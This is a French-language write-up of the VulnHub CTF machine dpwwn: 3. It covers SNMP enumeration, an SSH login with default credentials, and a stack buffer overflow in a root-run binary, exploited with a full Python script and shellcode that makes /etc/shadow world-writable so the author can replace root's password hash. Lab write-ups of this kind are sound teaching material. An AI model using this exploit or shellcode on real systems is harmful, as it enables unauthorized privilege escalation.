dpwwn: 3 téléchargeable sur VulnHub a été un CTF particulier. Faute d’attention de ma part l’escalade de privilège m’a pris plus de temps que ce que j’imaginais, mais finalement, c’était plutôt intéressant.
La mise en place de la VM a été un peu compliquée, car elle ne prenait pas correctement son adresse DHCP et l’accès à GRUB semblait impossible. Il a donc fallu monter le disque virtuel comme sur le CTF Holynix.
L’autre scan
Un scan de port ne révèle pas grande matière pour travailler, mais on a quand même un indice avec le port TCP 161 qui n’est pas filtré.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Nmap scan report for 192.168.56.189
Host is up (0.00048s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| vulners:
| cpe:/a:openbsd:openssh:7.9p1:
| EXPLOITPACK:98FE96309F9524B8C84C508837551A19 5.8 https://vulners.com/exploitpack/EXPLOITPACK:98FE96309F9524B8C84C508837551A19 *EXPLOIT*
| EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97 5.8 https://vulners.com/exploitpack/EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97 *EXPLOIT*
| EDB-ID:46516 5.8 https://vulners.com/exploitdb/EDB-ID:46516 *EXPLOIT*
| EDB-ID:46193 5.8 https://vulners.com/exploitdb/EDB-ID:46193 *EXPLOIT*
| CVE-2019-6111 5.8 https://vulners.com/cve/CVE-2019-6111
| 1337DAY-ID-32328 5.8 https://vulners.com/zdt/1337DAY-ID-32328 *EXPLOIT*
| 1337DAY-ID-32009 5.8 https://vulners.com/zdt/1337DAY-ID-32009 *EXPLOIT*
| CVE-2021-41617 4.4 https://vulners.com/cve/CVE-2021-41617
| CVE-2019-16905 4.4 https://vulners.com/cve/CVE-2019-16905
| CVE-2020-14145 4.3 https://vulners.com/cve/CVE-2020-14145
| CVE-2019-6110 4.0 https://vulners.com/cve/CVE-2019-6110
| CVE-2019-6109 4.0 https://vulners.com/cve/CVE-2019-6109
| CVE-2018-20685 2.6 https://vulners.com/cve/CVE-2018-20685
|_ PACKETSTORM:151227 0.0 https://vulners.com/packetstorm/PACKETSTORM:151227 *EXPLOIT*
161/tcp closed snmp
Ce numéro de port correspond habituellement à SNMP mais en UDP. C’est certainement un indice pour qu’on aille voir de ce côté.
1
2
3
4
5
6
7
8
$ sudo nmap -sU -T5 192.168.56.189
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-29 14:50 CEST
Nmap scan report for 192.168.56.189
Host is up (0.00064s latency).
Not shown: 998 open|filtered udp ports (no-response)
PORT STATE SERVICE
22/udp closed ssh
161/udp open snmp
Les scripts Lua de Nmap n’ont pas donné grand-chose donc je me suis tourné vers snmpwalk
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
$ snmpwalk -v 1 -c public 192.168.56.189
SNMPv2-MIB::sysDescr.0 = STRING: Linux dpwwn-03 4.19.0-5-686-pae #1 SMP Debian 4.19.37-5+deb10u1 (2019-07-19) i686
SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (67925) 0:11:19.25
SNMPv2-MIB::sysContact.0 = STRING: john <john@dpwwn-03>
SNMPv2-MIB::sysName.0 = STRING: dpwwn-03
SNMPv2-MIB::sysLocation.0 = STRING: john room
SNMPv2-MIB::sysServices.0 = INTEGER: 72
SNMPv2-MIB::sysORLastChange.0 = Timeticks: (2) 0:00:00.02
SNMPv2-MIB::sysORID.1 = OID: SNMP-MPD-MIB::snmpMPDCompliance
SNMPv2-MIB::sysORID.2 = OID: SNMP-USER-BASED-SM-MIB::usmMIBCompliance
SNMPv2-MIB::sysORID.3 = OID: SNMP-FRAMEWORK-MIB::snmpFrameworkMIBCompliance
SNMPv2-MIB::sysORID.4 = OID: SNMPv2-MIB::snmpMIB
SNMPv2-MIB::sysORID.5 = OID: SNMP-VIEW-BASED-ACM-MIB::vacmBasicGroup
SNMPv2-MIB::sysORID.6 = OID: TCP-MIB::tcpMIB
SNMPv2-MIB::sysORID.7 = OID: IP-MIB::ip
SNMPv2-MIB::sysORID.8 = OID: UDP-MIB::udpMIB
SNMPv2-MIB::sysORID.9 = OID: SNMP-NOTIFICATION-MIB::snmpNotifyFullCompliance
SNMPv2-MIB::sysORID.10 = OID: NOTIFICATION-LOG-MIB::notificationLogMIB
SNMPv2-MIB::sysORDescr.1 = STRING: The MIB for Message Processing and Dispatching.
SNMPv2-MIB::sysORDescr.2 = STRING: The management information definitions for the SNMP User-based Security Model.
SNMPv2-MIB::sysORDescr.3 = STRING: The SNMP Management Architecture MIB.
SNMPv2-MIB::sysORDescr.4 = STRING: The MIB module for SNMPv2 entities
SNMPv2-MIB::sysORDescr.5 = STRING: View-based Access Control Model for SNMP.
SNMPv2-MIB::sysORDescr.6 = STRING: The MIB module for managing TCP implementations
SNMPv2-MIB::sysORDescr.7 = STRING: The MIB module for managing IP and ICMP implementations
SNMPv2-MIB::sysORDescr.8 = STRING: The MIB module for managing UDP implementations
SNMPv2-MIB::sysORDescr.9 = STRING: The MIB modules for managing SNMP Notification, plus filtering.
SNMPv2-MIB::sysORDescr.10 = STRING: The MIB module for logging SNMP Notifications.
SNMPv2-MIB::sysORUpTime.1 = Timeticks: (2) 0:00:00.02
SNMPv2-MIB::sysORUpTime.2 = Timeticks: (2) 0:00:00.02
SNMPv2-MIB::sysORUpTime.3 = Timeticks: (2) 0:00:00.02
SNMPv2-MIB::sysORUpTime.4 = Timeticks: (2) 0:00:00.02
SNMPv2-MIB::sysORUpTime.5 = Timeticks: (2) 0:00:00.02
SNMPv2-MIB::sysORUpTime.6 = Timeticks: (2) 0:00:00.02
SNMPv2-MIB::sysORUpTime.7 = Timeticks: (2) 0:00:00.02
SNMPv2-MIB::sysORUpTime.8 = Timeticks: (2) 0:00:00.02
SNMPv2-MIB::sysORUpTime.9 = Timeticks: (2) 0:00:00.02
SNMPv2-MIB::sysORUpTime.10 = Timeticks: (2) 0:00:00.02
HOST-RESOURCES-MIB::hrSystemUptime.0 = Timeticks: (68356) 0:11:23.56
HOST-RESOURCES-MIB::hrSystemDate.0 = STRING: 2023-4-29,8:59:23.0,-4:0
HOST-RESOURCES-MIB::hrSystemInitialLoadDevice.0 = INTEGER: 393216
HOST-RESOURCES-MIB::hrSystemInitialLoadParameters.0 = STRING: "BOOT_IMAGE=/boot/vmlinuz-4.19.0-5-686-pae root=UUID=c7e8252b-ff79-48c0-8312-4f5f45e4d724 ro quiet
"
HOST-RESOURCES-MIB::hrSystemNumUsers.0 = Gauge32: 1
HOST-RESOURCES-MIB::hrSystemProcesses.0 = Gauge32: 62
HOST-RESOURCES-MIB::hrSystemMaxProcesses.0 = INTEGER: 0
End of MIB
À première vue pas grand-chose d’intéressant. J’ai tenté d’en obtenir davantage en me basant sur Pentesting SNMP - HackTricks mais je n’ai pas avancé plus.
Finalement il fallait simplement se connecter sur le SSH avec les identifiants john
/ john
.
L’autre randomisation
Ce dernier a le droit d’exécuter un script bash particulier avec le compte root :
1
2
3
4
5
6
7
8
john@dpwwn-03:~$ sudo -l
Matching Defaults entries for john on dpwwn-03:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User john may run the following commands on dpwwn-03:
(root) NOPASSWD: /bin/sh /home/ss.sh
john@dpwwn-03:~$ ls
Hello_john.txt smashthestack
Le script bash lance un binaire ELF mais pas celui qui est dans /home/john
. Il s’agit toutefois d’une copie exacte, mais dans /home
pour éviter toute altération du fichier.
1
2
3
4
5
6
john@dpwwn-03:~$ cat /home/ss.sh
#!/bin/sh
SHELL=/bin/bash
PATH='/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home'
/home/./smashthestack &
Comme on s’en doute aucune permission trop ouverte n’est présente :
1
2
3
4
5
6
7
john@dpwwn-03:~$ ls -al /home/
total 36
drwxr-xr-x 3 root root 4096 Aug 12 2019 .
drwxr-xr-x 18 root root 4096 Aug 10 2019 ..
drwxr-xr-x 3 john john 4096 Apr 29 09:04 john
-rwxr-xr-x 1 root root 19824 Aug 12 2019 smashthestack
-rwxr-xr-x 1 root root 123 Aug 12 2019 ss.sh
Si on lance le programme directement il est assez verbeux pour nous dire ce qu’il fait :
1
2
3
4
john@dpwwn-03:~$ ./smashthestack
Thank you for run this program
Welcome to Echo System
Check this system TCP port 3210
Un coup d’œil dans Cutter
nous amène rapidement à une fonction au nom équivoque avec un appel à strcpy
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
dbg.vulncode (int stack1, char *reply);
; var char [720] result @ stack - 0x2dc
; var int32_t var_8h @ stack - 0x8
; arg int stack1 @ stack + 0x4
; arg char *reply @ stack + 0x8
0x00001259 push ebp ; smashthestack.c:11 ; int vulncode(int stack1,char * reply);
0x0000125a mov ebp, esp
0x0000125c push ebx
0x0000125d sub esp, 0x2d4
0x00001263 call __x86.get_pc_thunk.ax ; sym.__x86.get_pc_thunk.ax
0x00001268 add eax, 0x2d98
0x0000126d sub esp, 8 ; smashthestack.c:13
0x00001270 push dword [reply] ; const char *src
0x00001273 lea edx, [result[0]]
0x00001279 push edx ; char *dest
0x0000127a mov ebx, eax
0x0000127c call strcpy ; sym.imp.strcpy ; char *strcpy(char *dest, const char *src)
0x00001281 add esp, 0x10
0x00001284 mov eax, 0 ; smashthestack.c:14
0x00001289 mov ebx, dword [var_8h] ; smashthestack.c:15
0x0000128c leave
0x0000128d ret
On peut voir que 724 octets sont réservés sur la stack frame pour les variables locales.
Le binaire n’a ni stack protector ni les canary :
1
2
3
$ checksec --file smashthestack
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX disabled PIE enabled No RPATH No RUNPATH /tmp/smashthestack
J’ai balancé sur chaine cyclique sur l’exécutable que je déboguais en local :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x68616167 ('gaah')
ECX: 0xffffcb60 --> 0x1
EDX: 0xffffc870 --> 0x63610001
ESI: 0x56556400 (<__libc_csu_init>: push ebp)
EDI: 0xf7ffcb80 --> 0x0
EBP: 0x68616168 ('haah')
ESP: 0xffffc74c ("iaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaaj"...)
EIP: 0x5655628d (<vulncode+52>: ret)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x56556284 <vulncode+43>: mov eax,0x0
0x56556289 <vulncode+48>: mov ebx,DWORD PTR [ebp-0x4]
0x5655628c <vulncode+51>: leave
=> 0x5655628d <vulncode+52>: ret
0x5655628e <main>: lea ecx,[esp+0x4]
0x56556292 <main+4>: and esp,0xfffffff0
0x56556295 <main+7>: push DWORD PTR [ecx-0x4]
0x56556298 <main+10>: push ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffc74c ("iaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaaj"...)
Ainsi j’ai calculé qu’il fallait 732 octets avant l’écrasement de eip
.
J’ai cherché un gadget dans le binaire pour sauter sur esp
. Il n’y avait rien de tel mais j’ai trouvé un équivalent :
1
2
3
4
gdb-peda$ x/20i _start+48
0x56556150 <_start+48>: push esp
0x56556152 <_start+50>: mov ebx,DWORD PTR [esp]
0x56556155 <_start+53>: ret
Tout semblait donc aller pour le mieux dans le meilleur des mondes… sauf qu’à chaque tentative d’exploitation le binaire segfaultait (future entrée du dictionnaire ?) sans donner le moindre shell… Sauf (bien sûr) si il tournait depuis GDB.
J’ai mis du temps à comprendre ce qu’il se passait, mais les lecteurs attentifs auront remarqué la présence de PIE enabled
dans l’output de checksec
plus haut.
Cela signifie que les adresses des instructions sont randomisées et par conséquence notre gadget n’a jamais la même adresse.
Ceci dit, le système est en 32 bits donc on pourrait se permettre de bruteforcer cette adresse comme je l’avais fait sur le CTF Xerxes #2 ou encore simplement désactiver la randomisation avec ulimit
. Tout ça est de la théorie, car les détails de l’implémentation de PIE
(position-independent executable) me sont inconnus.
Ce que je vois en revanche, c’est que la stack n’est pas randomisée :
1
2
john@dpwwn-03:~$ cat /proc/sys/kernel/randomize_va_space
0
Par conséquent, on peut faire pointer l’adresse de retour vers un shellcode présent sur la stack. Toutefois l’utilisation de sudo (qui fait un reset d’environnement par défaut) ne nous permettra pas de placer un shellcode dans l’environnement.
L’idée est de profiter de l’espace présent avant l’adresse de retour pour placer un shellcode avec un gros nopsled. On peut même en placer après. Si on a une idée approximative de l’adresse de ce nopsled alors on pourra l’utiliser comme adresse de retour… à l’ancienne.
Ici j’ai envoyé 0xdeadbeef
comme adresse de retour avec des NOP (0x90
) avant et après.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
john@dpwwn-03:~$ gdb -q /home/./smashthestack
Reading symbols from /home/./smashthestack...done.
(gdb) b main
Breakpoint 1 at 0x12ae: file smashthestack.c, line 21.
(gdb) r
Starting program: /home/smashthestack
Breakpoint 1, main (argc=1, argv=0xbffff714) at smashthestack.c:21
21 smashthestack.c: No such file or directory.
(gdb) disass bulncode
No symbol "bulncode" in current context.
(gdb) disass bulncode
No symbol "bulncode" in current context.
(gdb) disass vulncode
Dump of assembler code for function vulncode:
0x00401259 <+0>: push %ebp
0x0040125a <+1>: mov %esp,%ebp
0x0040125c <+3>: push %ebx
0x0040125d <+4>: sub $0x2d4,%esp
0x00401263 <+10>: call 0x4013f8 <__x86.get_pc_thunk.ax>
0x00401268 <+15>: add $0x2d98,%eax
0x0040126d <+20>: sub $0x8,%esp
0x00401270 <+23>: pushl 0xc(%ebp)
0x00401273 <+26>: lea -0x2d8(%ebp),%edx
0x00401279 <+32>: push %edx
0x0040127a <+33>: mov %eax,%ebx
0x0040127c <+35>: call 0x401080 <strcpy@plt>
0x00401281 <+40>: add $0x10,%esp
0x00401284 <+43>: mov $0x0,%eax
0x00401289 <+48>: mov -0x4(%ebp),%ebx
0x0040128c <+51>: leave
0x0040128d <+52>: ret
End of assembler dump.
(gdb) b *0x0040128d
Breakpoint 2 at 0x40128d: file smashthestack.c, line 15.
(gdb) c
Continuing.
Thank you for run this program
Welcome to Echo System
Check this system TCP port 3210
Breakpoint 2, 0x0040128d in vulncode (stack1=2573, reply=0xbffff230 '\220' <repeats 200 times>...) at smashthestack.c:15
15 in smashthestack.c
(gdb) x/wx $esp
0xbffff21c: 0xdeadbeef
(gdb) x/wx $esp-732
0xbfffef40: 0x90909090
Donc 0xbfffef40
va nous servir de référence. Comme sur les exploits d’il y a 2 / 3 décennies, on va écrire un exploit qui accepte un offset pour corriger l’adresse :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import sys
from socket import socket
from struct import pack
offset = int(sys.argv[1])
shellcode_addr = 0xbfffef40+offset
# https://www.exploit-db.com/shellcodes/13392
# (linux/x86) chmod("/etc/shadow", 0666) + exit() - 32 bytes
shellcode = (
b"\x6a\x0f" # push $0xf
b"\x58" # pop %eax
b"\x31\xc9" # xor %ecx,%ecx
b"\x51" # push %ecx
b"\x66\xb9\xb6\x01" # mov $0x1b6,%cx
b"\x68\x61\x64\x6f\x77" # push $0x776f6461
b"\x68\x63\x2f\x73\x68" # push $0x68732f63
b"\x68\x2f\x2f\x65\x74" # push $0x74652f2f
b"\x89\xe3" # mov %esp,%ebx
b"\xcd\x80" # int $0x80
b"\x40" # inc %eax
b"\xcd\x80" # int $0x80
)
payload = b"\x90" * (732 - len(shellcode)) + shellcode + pack("<I", shellcode_addr)
payload += b"\r\n"
sock = socket()
sock.connect(("127.0.0.1", 3210))
sock.send(payload)
sock.close()
Avec un offset de 300 octets, c’est passé :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
john@dpwwn-03:~$ ls -al /etc/shadow
-rw-r----- 1 root shadow 972 Aug 10 2019 /etc/shadow
john@dpwwn-03:~$ python3 exploit.py 300
john@dpwwn-03:~$ ls -al /etc/shadow
-rw-rw-rw- 1 root shadow 972 Aug 10 2019 /etc/shadow
john@dpwwn-03:~$ vi /etc/shadow
john@dpwwn-03:~$ su root
Password:
root@dpwwn-03:/home/john# id
uid=0(root) gid=0(root) groups=0(root)
root@dpwwn-03:/home/john# cd /root
root@dpwwn-03:~# ls
dpwwn-03-FLAG.txt
root@dpwwn-03:~# cat dpwwn-03-FLAG.txt
Congratulation !!! Hope you enjoy this smash the stack.
722f7322
3852277a
6165327a
364c4022
3b5a2959
3e235051
7e3e7d3b
48365577
787d286e
6d754350
58405d3b
3d6e3b42
7645909
Le shellcode se charge de rendre le fichier /etc/shadow
modifiable. J’ai alors recopié le hash de l’utilisateur john
dont je connais le mot de passe pour l’appliquer à root
.